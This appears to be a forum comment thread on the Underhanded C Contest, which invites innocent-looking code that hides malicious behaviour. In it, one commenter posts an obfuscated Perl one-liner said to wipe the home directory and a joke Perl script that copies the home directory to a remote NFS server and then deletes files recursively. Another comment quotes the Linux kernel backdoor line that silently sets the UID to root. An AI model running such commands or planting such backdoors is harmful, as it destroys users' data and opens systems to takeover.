The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

Comments

Re: This year's challenge

[ErichTheWebGuy]

Any open-source steganography programs

Why, yes! http://sourceforge.net/projects/steghide/

Re:Seems a bit like those hacking contests

[numbski]

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'

Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Re:Indeed. This could be a field day for Java and

[Xcott Craver]

Correct, making it look valid is the main purpose of the contest.

Please check out the contest page: the "evil" behavior is not something java would prevent you from doing. We're not talking about crashing a computer or gaining root access, but performing a data processing task incorrectly. It's entirely problem state.

That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches. The winners of the obfuscated V contest used techniques like this to conceal their evil behavior, so I feel this would give people more freedom to get creative.

Finally, this is not meant to slam C, or open source, or any such like. I can't imagine how anyone can look at this contest and see it as an argument for less openness.

Xcott

Re:Story is just plain bad

[schotter]

"The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day"

Have you seen Technocrat.net? Looks to be just starting, but I'm already impressed: slashdot ran an article on a nanotech textiles protest - technocrat ran one on a group of scientists demonstrating a refined iteration of a carbon nanotube CPU. Comments are on-topic too, touch wood.

(Or there's always ars for CS stuff, but they're hardly a /. knockoff.)

Re:Why?

[Xcott Craver]

Who is behind this and what is their motivations?

Is Google down? Okay, I updated the faq to tell you who we are.

Also, we never said anything about hackers. Nowhere have we associated hacking with malicious behavior. And I sincerly hope this will be a learning experience for all involved. I, in particular, will probably learn a thing or two about running next year's contest.

Xcott

Linux Kernel Backdoor Attempt

[Johnny Hardcore]

This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

The attempt was trying to insert

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

Service Pack fixes it, but it's documented

[edalytical]

http://support.microsoft.com/?kbid=311486

Re:An example from years ago

[exp(pi*sqrt(163))]

It was for DOS4GW but I think you're being pedantic.